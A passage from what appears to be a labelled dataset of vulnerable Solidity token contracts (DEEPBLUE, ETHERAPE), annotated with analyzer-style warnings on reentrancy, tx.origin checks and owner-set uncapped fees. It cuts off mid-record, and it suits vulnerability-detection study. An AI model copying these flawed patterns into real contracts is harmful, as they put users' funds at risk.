'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 78fa8fb\n\t\t// reentrancy-benign | ID: 6c4fde5\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 78fa8fb\n\t\t// reentrancy-benign | ID: 6c4fde5\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f331073): DEEPBLUE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f331073: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 6c4fde5\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 78fa8fb\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 99baaf0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 99baaf0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 6c13c85): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 6c13c85: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3526025): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3526025: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 6c13c85\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n require(\n block.number > lastExecutedBlockNumber,\n \"Exceeds the maxWalletSize.\"\n );\n\t\t\t\t// reentrancy-events | ID: 99baaf0\n\t\t\t\t// reentrancy-eth | ID: 3526025\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 99baaf0\n\t\t\t\t\t// reentrancy-eth | ID: 3526025\n sendETHToFee(address(this).balance);\n }\n\t\t\t\t// reentrancy-eth | ID: 3526025\n lastExecutedBlockNumber = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 3526025\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: 99baaf0\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: 3526025\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: 3526025\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: 99baaf0\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 99baaf0\n\t\t// reentrancy-events | ID: 78fa8fb\n\t\t// reentrancy-benign | ID: 6c4fde5\n\t\t// reentrancy-eth | ID: 3526025\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n transferDelayEnabled = false;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 3a26261): DEEPBLUE.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 3a26261: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 99baaf0\n\t\t// reentrancy-events | ID: 78fa8fb\n\t\t// reentrancy-eth | ID: 3526025\n\t\t// arbitrary-send-eth | ID: 3a26261\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c261a9c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c261a9c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 16ecf18): DEEPBLUE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 16ecf18: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0b58e00): DEEPBLUE.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 0b58e00: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1a90c81): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1a90c81: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: c261a9c\n\t\t// reentrancy-eth | ID: 1a90c81\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: c261a9c\n\t\t// unused-return | ID: 16ecf18\n\t\t// reentrancy-eth | ID: 1a90c81\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: c261a9c\n\t\t// unused-return | ID: 0b58e00\n\t\t// reentrancy-eth | ID: 1a90c81\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\t\t// reentrancy-benign | ID: c261a9c\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: 1a90c81\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_3252.sol",
"secure": 0,
"size_bytes": 17564
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IDexRouter.sol\" as IDexRouter;\nimport \"./IDexFactory.sol\" as IDexFactory;\nimport \"./ILpPair.sol\" as ILpPair;\n\ncontract ETHERAPE is ERC20, Ownable {\n uint256 public maxBuyAmount;\n uint256 public maxSellAmount;\n\n IDexRouter public immutable dexRouter;\n address public immutable lpPair;\n\n bool private swapping;\n uint256 public swapTokensAtAmount;\n\n address operationsAddress;\n\n uint256 public tradingActiveBlock;\n uint256 public tradingActiveTs;\n uint256 public blockForPenaltyEnd;\n\n bool public limitsInEffect = true;\n bool public tradingActive = false;\n bool public swapEnabled = false;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n bool public transferDelayEnabled = true;\n\n uint256 public buyTotalFees;\n uint256 public buyOperationsFee;\n uint256 public buyLiquidityFee;\n\n uint256 public sellTotalFees;\n uint256 public sellOperationsFee;\n uint256 public sellLiquidityFee;\n\n uint256 public tokensForOperations;\n uint256 public tokensForLiquidity;\n\n mapping(address => bool) private _isExcludedFromFees;\n mapping(address => bool) public _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n event EnabledTrading();\n\n event RemovedLimits();\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event UpdatedMaxBuyAmount(uint256 newAmount);\n\n event UpdatedMaxSellAmount(uint256 newAmount);\n\n event UpdatedMaxWalletAmount(uint256 newAmount);\n\n event UpdatedOperationsAddress(address indexed newWallet);\n\n event MaxTransactionExclusion(address _address, bool excluded);\n\n event BuyBackTriggered(uint256 amount);\n\n event OwnerForcedSwapBack(uint256 timestamp);\n\n event CaughtEarlyBuyer(address sniper);\n\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiquidity\n );\n\n event TransferForeignToken(address token, uint256 amount);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 0c4f758): ETHERAPE.constructor().newOwner lacks a zerocheck on \t operationsAddress = address(newOwner)\n\t// Recommendation for 0c4f758: Check that the address is not zero.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8e6aacc): ETHERAPE.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 8e6aacc: Rename the local variables that shadow another component.\n constructor() ERC20(\"ETHERAPE\", \"APE\") {\n address newOwner = msg.sender;\n address _dexRouter;\n\n _dexRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n dexRouter = IDexRouter(_dexRouter);\n\n lpPair = IDexFactory(dexRouter.factory()).createPair(\n address(this),\n dexRouter.WETH()\n );\n _excludeFromMaxTransaction(address(lpPair), true);\n _setAutomatedMarketMakerPair(address(lpPair), true);\n\n uint256 totalSupply = 1 * 1e6 * 1e18;\n\n maxBuyAmount = (totalSupply * 2) / 100;\n maxSellAmount = (totalSupply * 2) / 100;\n swapTokensAtAmount = (totalSupply * 1) / 10000;\n\n buyOperationsFee = 25;\n buyLiquidityFee = 0;\n buyTotalFees = buyOperationsFee + buyLiquidityFee;\n\n sellOperationsFee = 30;\n sellLiquidityFee = 0;\n sellTotalFees = sellOperationsFee + sellLiquidityFee;\n\n _excludeFromMaxTransaction(newOwner, true);\n _excludeFromMaxTransaction(address(this), true);\n _excludeFromMaxTransaction(address(0xdead), true);\n _excludeFromMaxTransaction(address(dexRouter), true);\n\n excludeFromFees(newOwner, true);\n excludeFromFees(address(this), true);\n excludeFromFees(address(0xdead), true);\n excludeFromFees(address(dexRouter), true);\n\n\t\t// missing-zero-check | ID: 0c4f758\n operationsAddress = address(newOwner);\n\n _createInitialSupply(newOwner, totalSupply);\n transferOwnership(newOwner);\n }\n\n receive() external payable {}\n\n function openTrading(uint256 deadBlocks) external onlyOwner {\n require(!tradingActive, \"Cannot reenable trading\");\n require(deadBlocks <= 10, \"Cannot set more than 5 deadblocks\");\n tradingActive = true;\n swapEnabled = true;\n tradingActiveBlock = block.number;\n tradingActiveTs = block.timestamp;\n blockForPenaltyEnd = tradingActiveBlock + deadBlocks;\n emit EnabledTrading();\n }\n\n function removeLimit() external onlyOwner {\n limitsInEffect = false;\n transferDelayEnabled = false;\n emit RemovedLimits();\n }\n\n function disableTransferDelay() external onlyOwner {\n transferDelayEnabled = false;\n }\n\n function updateMaxBuyAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 2) / 1000) / 1e18,\n \"Cannot set max buy amount lower than 0.2%\"\n );\n maxBuyAmount = newNum * (10 ** 18);\n emit UpdatedMaxBuyAmount(maxBuyAmount);\n }\n\n function updateMaxSellAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 2) / 1000) / 1e18,\n \"Cannot set max sell amount lower than 0.2%\"\n );\n maxSellAmount = newNum * (10 ** 18);\n emit UpdatedMaxSellAmount(maxSellAmount);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 8503704): ETHERAPE.updateSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = newAmount \n\t// Recommendation for 8503704: Emit an event for critical parameter changes.\n function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {\n require(\n newAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n require(\n newAmount <= (totalSupply() * 1) / 1000,\n \"Swap amount cannot be higher than 0.1% total supply.\"\n );\n\t\t// events-maths | ID: 8503704\n swapTokensAtAmount = newAmount;\n }\n\n function _excludeFromMaxTransaction(\n address updAds,\n bool isExcluded\n ) private {\n _isExcludedMaxTransactionAmount[updAds] = isExcluded;\n emit MaxTransactionExclusion(updAds, isExcluded);\n }\n\n function excludeFromMaxTransaction(\n address updAds,\n bool isEx\n ) external onlyOwner {\n if (!isEx) {\n require(\n updAds != lpPair,\n \"Cannot remove uniswap pair from max txn\"\n );\n }\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) external onlyOwner {\n require(\n pair != lpPair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n _excludeFromMaxTransaction(pair, value);\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: fa917ae): Missing events for critical arithmetic parameters.\n\t// Recommendation for fa917ae: Emit an event for critical parameter changes.\n function updateFee(\n uint256 _buyoperationsFee,\n uint256 _buyliquidityFee,\n uint256 _selloperationsFee,\n uint256 _sellliquidityFee\n ) external onlyOwner {\n\t\t// events-maths | ID: fa917ae\n buyOperationsFee = _buyoperationsFee;\n\t\t// events-maths | ID: fa917ae\n buyLiquidityFee = _buyliquidityFee;\n\t\t// events-maths | ID: fa917ae\n buyTotalFees = buyOperationsFee + buyLiquidityFee;\n\t\t// events-maths | ID: fa917ae\n sellOperationsFee = _selloperationsFee;\n\t\t// events-maths | ID: fa917ae\n sellLiquidityFee = _sellliquidityFee;\n\t\t// events-maths | ID: fa917ae\n sellTotalFees = sellOperationsFee + sellLiquidityFee;\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n emit ExcludeFromFees(account, excluded);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0596749): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0596749: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0d6e1d1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0d6e1d1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 6e4f6d2): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 6e4f6d2: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 4d6a9b7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 4d6a9b7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 837720e): ETHERAPE._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * 90) / 100 tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees\n\t// Recommendation for 837720e: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4a4a8fb): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 4a4a8fb: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d149091): ETHERAPE._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * buyTotalFees) / 100 tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees\n\t// Recommendation for d149091: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 9de7e49): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 9de7e49: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: bbdd0bb): ETHERAPE._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * 90) / 100 tokensForOperations += (fees * buyOperationsFee) / buyTotalFees\n\t// Recommendation for bbdd0bb: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f1225db): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for f1225db: Consider ordering multiplication before division.\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"amount must be greater than 0\");\n\n if (!tradingActive) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n if (transferDelayEnabled) {\n if (to != address(dexRouter) && to != address(lpPair)) {\n\t\t\t\t\t\t// tx-origin | ID: 6e4f6d2\n require(\n _holderLastTransferTimestamp[tx.origin] <\n block.number - 2 &&\n _holderLastTransferTimestamp[to] <\n block.number - 2,\n \"_transfer:: Transfer Delay enabled. Try again later.\"\n );\n _holderLastTransferTimestamp[tx.origin] = block.number;\n _holderLastTransferTimestamp[to] = block.number;\n }\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxBuyAmount,\n \"Buy transfer amount exceeds the max buy.\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxSellAmount,\n \"Sell transfer amount exceeds the max sell.\"\n );\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 0596749\n\t\t\t// reentrancy-benign | ID: 0d6e1d1\n\t\t\t// reentrancy-no-eth | ID: 4d6a9b7\n swapBack();\n\n\t\t\t// reentrancy-no-eth | ID: 4d6a9b7\n swapping = false;\n }\n\n bool takeFee = true;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (\n earlyBuyPenaltyInEffect() &&\n automatedMarketMakerPairs[from] &&\n !automatedMarketMakerPairs[to] &&\n buyTotalFees > 0\n ) {\n\t\t\t\t// divide-before-multiply | ID: 837720e\n\t\t\t\t// divide-before-multiply | ID: bbdd0bb\n fees = (amount * 90) / 100;\n\t\t\t\t// reentrancy-no-eth | ID: 4d6a9b7\n\t\t\t\t// divide-before-multiply | ID: 837720e\n tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;\n\t\t\t\t// reentrancy-benign | ID: 0d6e1d1\n\t\t\t\t// divide-before-multiply | ID: bbdd0bb\n tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;\n } else if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: 4a4a8fb\n\t\t\t\t// divide-before-multiply | ID: f1225db\n fees = (amount * sellTotalFees) / 100;\n\t\t\t\t// reentrancy-no-eth | ID: 4d6a9b7\n\t\t\t\t// divide-before-multiply | ID: 4a4a8fb\n tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;\n\t\t\t\t// reentrancy-benign | ID: 0d6e1d1\n\t\t\t\t// divide-before-multiply | ID: f1225db\n tokensForOperations +=\n (fees * sellOperationsFee) /\n sellTotalFees;\n } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: d149091\n\t\t\t\t// divide-before-multiply | ID: 9de7e49\n fees = (amount * buyTotalFees) / 100;\n\t\t\t\t// reentrancy-no-eth | ID: 4d6a9b7\n\t\t\t\t// divide-before-multiply | ID: d149091\n tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;\n\t\t\t\t// reentrancy-benign | ID: 0d6e1d1\n\t\t\t\t// divide-before-multiply | ID: 9de7e49\n tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 0596749\n\t\t\t\t// reentrancy-no-eth | ID: 4d6a9b7\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: 0596749\n\t\t// reentrancy-no-eth | ID: 4d6a9b7\n super._transfer(from, to, amount);\n }\n\n function earlyBuyPenaltyInEffect() public view returns (bool) {\n return block.number < blockForPenaltyEnd;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = dexRouter.WETH();\n\n _approve(address(this), address(dexRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: 0596749\n\t\t// reentrancy-events | ID: 4c6d8c7\n\t\t// reentrancy-events | ID: 83d51d1\n\t\t// reentrancy-benign | ID: f254a5d\n\t\t// reentrancy-benign | ID: d6b74ea\n\t\t// reentrancy-benign | ID: 0d6e1d1\n\t\t// reentrancy-no-eth | ID: 4d6a9b7\n dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(operationsAddress),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8748d75): ETHERAPE.addLiquidity(uint256,uint256) ignores return value by dexRouter.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,address(0xdead),block.timestamp)\n\t// Recommendation for 8748d75: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(dexRouter), tokenAmount);\n\n\t\t// unused-return | ID: 8748d75\n dexRouter.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n address(0xdead),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4c6d8c7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4c6d8c7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f254a5d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f254a5d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 5107b00): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 5107b00: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapBack() private {\n if (\n tokensForLiquidity > 0 &&\n balanceOf(address(this)) >= tokensForLiquidity\n ) {\n super._transfer(address(this), address(lpPair), tokensForLiquidity);\n\t\t\t// reentrancy-events | ID: 0596749\n\t\t\t// reentrancy-events | ID: 4c6d8c7\n\t\t\t// reentrancy-events | ID: 83d51d1\n\t\t\t// reentrancy-benign | ID: f254a5d\n\t\t\t// reentrancy-benign | ID: d6b74ea\n\t\t\t// reentrancy-benign | ID: 0d6e1d1\n\t\t\t// reentrancy-no-eth | ID: 5107b00\n\t\t\t// reentrancy-no-eth | ID: 4d6a9b7\n ILpPair(lpPair).sync();\n }\n\t\t// reentrancy-no-eth | ID: 5107b00\n tokensForLiquidity = 0;\n\n uint256 contractBalance = balanceOf(address(this));\n\n if (contractBalance == 0) {\n return;\n }\n\n if (contractBalance > swapTokensAtAmount * 20) {\n contractBalance = swapTokensAtAmount * 20;\n }\n\n\t\t// reentrancy-events | ID: 4c6d8c7\n\t\t// reentrancy-benign | ID: f254a5d\n swapTokensForEth(contractBalance);\n\n\t\t// reentrancy-benign | ID: f254a5d\n tokensForOperations = balanceOf(address(this));\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: dacac38): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for dacac38: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferForeignToken(\n address _token,\n address _to\n ) external onlyOwner returns (bool _sent) {\n require(_token != address(0), \"_token address cannot be 0\");\n require(_token != address(this), \"Can't withdraw native tokens\");\n uint256 _contractBalance = IERC20(_token).balanceOf(address(this));\n\t\t// reentrancy-events | ID: dacac38\n _sent = IERC20(_token).transfer(_to, _contractBalance);\n\t\t// reentrancy-events | ID: dacac38\n emit TransferForeignToken(_token, _contractBalance);\n }\n\n function withdrawStuckETH() external onlyOwner {\n bool success;\n (success, ) = address(msg.sender).call{value: address(this).balance}(\n \"\"\n );\n }\n\n function setOperationsAddress(\n address _operationsAddress\n ) external onlyOwner {\n require(\n _operationsAddress != address(0),\n \"_operationsAddress address cannot be 0\"\n );\n operationsAddress = payable(_operationsAddress);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 83d51d1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 83d51d1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d6b74ea): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d6b74ea: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function makeSwapBack() external onlyOwner {\n require(\n balanceOf(address(this)) >= swapTokensAtAmount,\n \"Can only swap when token amount is at or higher than restriction\"\n );\n swapping = true;\n\t\t// reentrancy-events | ID: 83d51d1\n\t\t// reentrancy-benign | ID: d6b74ea\n swapBack();\n\t\t// reentrancy-benign | ID: d6b74ea\n swapping = false;\n\t\t// reentrancy-events | ID: 83d51d1\n emit OwnerForcedSwapBack(block.timestamp);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 734dd5d): 